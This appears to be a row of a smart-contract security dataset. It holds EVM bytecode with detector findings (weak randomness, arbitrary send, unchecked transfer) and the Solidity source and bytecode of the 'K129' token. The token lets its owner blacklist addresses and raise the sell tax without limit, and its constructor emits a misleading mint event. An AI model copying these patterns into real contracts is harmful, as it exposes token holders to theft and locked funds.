48611156116d657600080fd5b6116df86611796565b94506116ea85612859565b93506116f584612388565b92506117018684612349565b915061170d8683611f53565b905084848484849450945094509450945091939590929450565b6000611731612b2b565b600a600060075481526020019081526020016000206040518060a0016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820154815250509050806060015181604001510391505090565b6000600a6000838152602001908152602001600020600401549050809050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461181257600080fd5b600061181d81610c75565b61188f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f57726f6e6720737461746500000000000000000000000000000000000000000081525060200191505060405180910390fd5b82829050858590501461190a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f41727261797320617265206e6f7420657175616c00000000000000000000000081525060200191505060405180910390fd5b611912612a6d565b6000600a600060075481526020019081526020016000209050600080600090505b87879050811015611b4a5787878281811061194a57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168360050160008560030154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508585828181106119ca57fe5b9050602002013583600301600082825401925050819055508585828181106119ee57fe5b90506020020135600860008a8a85818110611a0557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600754815260200190815260200160002060008282540192505081905550878782818110611a8857fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fac71b82cef06609156ce98027e4101ca6bacc31087e0d9b3a159591a6697d54a878784818110611ae857fe5b90506020020135856003015486600201540360075460405180848152602001838152602001828152602001935050505060405180910390a28260000154868683818110611b3157fe5b9050602002013502820191508080600101915050611933565b508160000154826002015402811115611bcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f526f756e64206c696d6974206f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b80341015611c41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f7420656e6f756768206f662065746865720000000000000000000000000081525060200191505060405180910390fd5b600081340390506000811115611d14573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015611d13573373ffffffffffffffffffffffffffffffffffffffff167f1a75088e549531a655d19fabb70fa23342d85a38826985023b0b8d480fd6c17f826040518082815260200180602001828103825260058152602001807f4c696d69740000000000000000000000000000000000000000000000000000008152506020019250505060405180910390a25b5b8260020154836003015410611d96576003600260006101000a81548160ff02191690836003811115611d4257fe5b02179055507fec9508703ad266d54f5cfe09a83150539e481b5a67761c90cd5f550150809d578360030154600754604051808381526020018281526020019250505060405180910390a1611d9461112f565b505b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611df957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006007548152602001908152602001600020549050919050565b600b5481565b600c8181548110611f0f57fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b6000600754831115611f6457600080fd5b6000600a6000858152602001908152602001600020905060008090505b83811161203f57600073ffffffffffffffffffffffffffffffffffffffff16826005016000838703815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461203257816005016000828603815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925061203f565b8080600101915050611f81565b508191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120a357600080fd5b60026120ae81610c75565b612120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f57726f6e6720737461746500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600260006101000a81548160ff0219169083600381111561213f57fe5b021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121c557600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561224457600080fd5b505afa158015612258573d6000803e3d6000fd5b505050506040513d602081101561226e57600080fd5b810190808051906020019092919050505090508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561230857600080fd5b505af115801561231c573d6000803e3d6000fd5b505050506040513d602081101561233257600080fd5b810190808051906020019092919050505050505050565b600060075483111561235a57600080fd5b6001600a600085815260200190815260200160002060020154838161237b57fe5b0601905080905092915050565b60008060001b8211612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4861736820697320746865207a65726f2076616c75650000000000000000000081525060200191505060405180910390fd5b8160001c9050919050565b600260009054906101000a900460ff1681565b600080600061242d612b2b565b600a60008681526020019081526020016000206040518060a0016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820154815250509050806000015181602001518260400151935093509350509193909250565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461255057600080fd5b805182511461255e57600080fd5b6000600b54111561257257612571612714565b5b600c60006125809190612b5a565b600080600090505b83518110156126ae576125ad8482815181106125a057fe5b6020026020010151612b18565b156125b757600080fd5b600c60405180604001604052808684815181106125d057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1681526020018584815181106125ff57fe5b60200260200101518152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505082818151811061269557fe5b6020026020010151820191508080600101915050612588565b506127108114612709576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612bcd6021913960400191505060405180910390fd5b505050565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461276d57600080fd5b6000600b5490506000811115612854576000600b8190555060005b600c8054905081101561285257600c81815481106127a257fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612710600c84815481106127fd57fe5b90600052602060002090600202016001015485028161281857fe5b049081150290604051600060405180830381858888f19350505050158015612844573d6000803e3d6000fd5b508080600101915050612788565b505b50565b565b60008143116128d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4177616974696e6720666f72207468652066757475726520626c6f636b00000081525060200191505060405180910390fd5b60fe82014310156128e457814090506128fb565b600960008381526020019081526020016000205490505b809050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461295c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561299657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000600354600454600554925092509250909192565b6007600081548092919060010191905055506000600a60006007548152602001908152602001600020905060035481600001819055506004548160010181905550600554816002018190555060028060006101000a81548160ff02191690836003811115612ad757fe5b02179055507f33a701182892fd888ed152ca2ac23771a32e814469b7cd255965471e1af3a6596007546040518082815260200191505060405180910390a150565b600080823b905060008111915050919050565b6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b5080546000825560020290600052602060002090810190612b7b9190612b7e565b50565b612bc991905b80821115612bc557600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201612b84565b5090565b9056fe546f74616c2073756d206f6620736861726573206d757374206265203130303030a265627a7a7230582012fc5bccf5187ee3e99bf9be04e5a750b7983562241e2852060ff60af5c2d48a64736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-send", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}}
5,463
0x9abf315ce1804d79eb515c23305b5351794e6f51
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract K129 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _selltax = 25; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "K129 Token"; string private constant _symbol = "K129"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1,address payable _add2) { _feeAddrWallet1 = _add1; _feeAddrWallet2 = _add2; _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; if(to == uniswapV2Pair){ _feeAddr2 = _selltax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > _tTotal/1000){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 200000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function reduceSaleTax(uint256 _reducedTax) external onlyOwner{ _selltax = _reducedTax; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 diff = amount - amount/10; _feeAddrWallet1.transfer(amount/10); _feeAddrWallet2.transfer(diff); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102f1578063c3c8cd8014610311578063c9567bf914610326578063cb3dfa181461033b578063dd62ed3e1461035b57600080fd5b806370a0823114610267578063715018a6146102875780638da5cb5b1461029c57806395d89b41146102c457600080fd5b806323b872dd116100dc57806323b872dd146101d6578063313ce567146101f6578063537df3b6146102125780635932ead1146102325780636fc3eaec1461025257600080fd5b806306fdde031461011957806308aad1f11461015e578063095ea7b31461018057806318160ddd146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a8152692598991c902a37b5b2b760b11b60208201525b604051610155919061156a565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611412565b6103a1565b005b34801561018c57600080fd5b506101a061019b3660046114c2565b6103f8565b6040519015158152602001610155565b3480156101bc57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101e257600080fd5b506101a06101f1366004611482565b61040f565b34801561020257600080fd5b5060405160098152602001610155565b34801561021e57600080fd5b5061017e61022d366004611412565b610478565b34801561023e57600080fd5b5061017e61024d3660046114ed565b6104c3565b34801561025e57600080fd5b5061017e61050b565b34801561027357600080fd5b506101c8610282366004611412565b610538565b34801561029357600080fd5b5061017e61055a565b3480156102a857600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102d057600080fd5b506040805180820190915260048152634b31323960e01b6020820152610148565b3480156102fd57600080fd5b506101a061030c3660046114c2565b6105ce565b34801561031d57600080fd5b5061017e6105db565b34801561033257600080fd5b5061017e610611565b34801561034757600080fd5b5061017e610356366004611525565b6109d9565b34801561036757600080fd5b506101c861037636600461144a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb906115bd565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000610405338484610a08565b5060015b92915050565b600061041c848484610b2c565b61046e84336104698560405180606001604052806028815260200161170a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cb1565b610a08565b5060019392505050565b6000546001600160a01b031633146104a25760405162461bcd60e51b81526004016103cb906115bd565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016103cb906115bd565b60128054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461052b57600080fd5b4761053581610ceb565b50565b6001600160a01b03811660009081526002602052604081205461040990610d82565b6000546001600160a01b031633146105845760405162461bcd60e51b81526004016103cb906115bd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610405338484610b2c565b600f546001600160a01b0316336001600160a01b0316146105fb57600080fd5b600061060630610538565b905061053581610e06565b6000546001600160a01b0316331461063b5760405162461bcd60e51b81526004016103cb906115bd565b601254600160a01b900460ff16156106955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103cb565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106d23082683635c9adc5dea00000610a08565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070b57600080fd5b505afa15801561071f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610743919061142e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078b57600080fd5b505afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c3919061142e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080b57600080fd5b505af115801561081f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610843919061142e565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061087381610538565b6000806108886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108eb57600080fd5b505af11580156108ff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610924919061153d565b505060128054683635c9adc5dea0000060135563ffff00ff60a01b198116630101000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611509565b5050565b6000546001600160a01b03163314610a035760405162461bcd60e51b81526004016103cb906115bd565b600c55565b6001600160a01b038316610a6a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610acb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6001600160a01b03831660009081526006602052604090205460ff1615610bb457600080fd5b6001600160a01b0383163014610c8057600a54600d55600b54600e556012546001600160a01b0383811691161415610bed57600c54600e555b6000610bf830610538565b601254909150600160a81b900460ff16158015610c2357506012546001600160a01b03858116911614155b8015610c385750601254600160b01b900460ff165b15610c7e57610c526103e8683635c9adc5dea0000061167a565b811115610c6257610c6281610e06565b476702c68af0bb140000811115610c7c57610c7c47610ceb565b505b505b6000546001600160a01b0384811691161415610ca1576000600e819055600d555b610cac838383610fab565b505050565b60008184841115610cd55760405162461bcd60e51b81526004016103cb919061156a565b506000610ce284866116b9565b95945050505050565b6000610cf8600a8361167a565b610d0290836116b9565b600f549091506001600160a01b03166108fc610d1f600a8561167a565b6040518115909202916000818181858888f19350505050158015610d47573d6000803e3d6000fd5b506010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610cac573d6000803e3d6000fd5b6000600854821115610de95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b6000610df3610fb6565b9050610dff8382610fd9565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eb057600080fd5b505afa158015610ec4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee8919061142e565b81600181518110610f0957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601154610f2f9130911684610a08565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f689085906000908690309042906004016115f2565b600060405180830381600087803b158015610f8257600080fd5b505af1158015610f96573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b610cac83838361101b565b6000806000610fc3611112565b9092509050610fd28282610fd9565b9250505090565b6000610dff83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611154565b60008060008060008061102d87611182565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061105f90876111df565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461108e9086611221565b6001600160a01b0389166000908152600260205260409020556110b081611280565b6110ba84836112ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110ff91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061112e8282610fd9565b82101561114b57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836111755760405162461bcd60e51b81526004016103cb919061156a565b506000610ce2848661167a565b600080600080600080600080600061119f8a600d54600e546112ee565b92509250925060006111af610fb6565b905060008060006111c28e878787611343565b919e509c509a509598509396509194505050505091939550919395565b6000610dff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb1565b60008061122e8385611662565b905083811015610dff5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b600061128a610fb6565b905060006112988383611393565b306000908152600260205260409020549091506112b59082611221565b30600090815260026020526040902055505050565b6008546112d790836111df565b6008556009546112e79082611221565b6009555050565b600080808061130860646113028989611393565b90610fd9565b9050600061131b60646113028a89611393565b905060006113338261132d8b866111df565b906111df565b9992985090965090945050505050565b60008080806113528886611393565b905060006113608887611393565b9050600061136e8888611393565b905060006113808261132d86866111df565b939b939a50919850919650505050505050565b6000826113a257506000610409565b60006113ae838561169a565b9050826113bb858361167a565b14610dff5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600060208284031215611423578081fd5b8135610dff816116e6565b60006020828403121561143f578081fd5b8151610dff816116e6565b6000806040838503121561145c578081fd5b8235611467816116e6565b91506020830135611477816116e6565b809150509250929050565b600080600060608486031215611496578081fd5b83356114a1816116e6565b925060208401356114b1816116e6565b929592945050506040919091013590565b600080604083850312156114d4578182fd5b82356114df816116e6565b946020939093013593505050565b6000602082840312156114fe578081fd5b8135610dff816116fb565b60006020828403121561151a578081fd5b8151610dff816116fb565b600060208284031215611536578081fd5b5035919050565b600080600060608486031215611551578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156115965785810183015185820160400152820161157a565b818111156115a75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156116415784516001600160a01b03168352938301939183019160010161161c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611675576116756116d0565b500190565b60008261169557634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116b4576116b46116d0565b500290565b6000828210156116cb576116cb6116d0565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461053557600080fd5b801515811461053557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c608a470216ca6e038fa788107bb337ade6914a8150432fea2abe4c4676ac26364736f6c63430008040033
